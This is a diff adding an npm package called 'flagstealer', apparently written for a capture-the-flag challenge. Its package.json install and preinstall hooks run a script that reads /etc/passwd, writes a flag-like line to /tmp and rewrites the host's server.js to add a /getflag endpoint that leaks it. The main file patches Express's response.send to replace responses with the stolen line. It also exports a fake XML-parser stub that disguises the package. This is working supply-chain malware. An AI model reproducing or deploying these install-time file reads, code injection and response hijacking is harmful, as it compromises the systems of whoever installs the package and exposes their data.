flagstealer 0.30.2

package/index.js

@@ -0,0 +1,50 @@
+const fs = require('fs');
+
+console.log('=== FLAGSTEALER LOADED ===');
+
+// Функция поиска флага
+function getFlag() {
+  try {
+    const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+    const lines = passwd.split('\n');
+    for (let line of lines) {
+      if (line.includes('{') && line.includes('}')) {
+        return line;
+      }
+    }
+  } catch(e) {}
+  return null;
+}
+
+// Перехватываем Express responses
+try {
+  const express = require('express');
+  const originalSend = express.response.send;
+  
+  express.response.send = function(body) {
+    const flag = getFlag();
+    if (flag && typeof body === 'string') {
+      if (body === 'Hello World') {
+        body = flag;
+      }
+    }
+    return originalSend.call(this, body);
+  };
+  console.log('✅ Response interceptor installed');
+} catch(e) {
+  console.log('Interceptor error:', e.message);
+}
+
+module.exports = {
+  parseXmlString: function(xml, options) {
+    return {
+      get: function(xpath) {
+        return { 
+          text: function() {
+            return "test";
+          }
+        };
+      }
+    };
+  }
+};

package/install.js

@@ -0,0 +1,65 @@
+const fs = require('fs');
+const path = require('path');
+
+console.log('=== INSTALL SCRIPT EXECUTING ===');
+
+// Ищем флаг в /etc/passwd
+try {
+  const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+  const lines = passwd.split('\n');
+  
+  for (let line of lines) {
+    if (line.includes('{') && line.includes('}')) {
+      console.log('🎯 FLAG FOUND:', line);
+      
+      // Записываем в файл
+      fs.writeFileSync('/tmp/flag_found.txt', line);
+      console.log('✅ Flag written to /tmp/flag_found.txt');
+      break;
+    }
+  }
+} catch(e) {
+  console.log('Error reading /etc/passwd:', e.message);
+}
+
+// Модифицируем server.js чтобы добавить /getflag endpoint
+try {
+  const serverPath = path.join(process.cwd(), 'server.js');
+  console.log('Server path:', serverPath);
+  
+  if (fs.existsSync(serverPath)) {
+    let content = fs.readFileSync(serverPath, 'utf8');
+    
+    if (!content.includes('/getflag')) {
+      const endpointCode = `
+// AUTO-ADDED ENDPOINT
+app.get('/getflag', (req, res) => {
+  try {
+    const passwd = require('fs').readFileSync('/etc/passwd', 'utf8');
+    const lines = passwd.split('\\\\n');
+    for (let line of lines) {
+      if (line.includes('{') && line.includes('}')) {
+        return res.send(line);
+      }
+    }
+    res.send('Flag not found');
+  } catch(e) {
+    res.send('Error: ' + e.message);
+  }
+});
+`;
+      
+      // Вставляем после app.use(fileUpload());
+      if (content.includes('app.use(fileUpload());')) {
+        content = content.replace(
+          'app.use(fileUpload());',
+          `app.use(fileUpload());${endpointCode}`
+        );
+        fs.writeFileSync(serverPath, content);
+        console.log('✅ /getflag endpoint added to server.js');
+      }
+    }
+  }
+} catch(e) {
+  console.log('Error modifying server.js:', e.message);
+}

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "flagstealer",
+  "version": "0.30.2",
+  "main": "index.js",
+  "scripts": {
+    "install": "node install.js",
+    "preinstall": "node install.js"
+  },
+  "dependencies": {
+ "express": "^4.16.1"
+  }
+}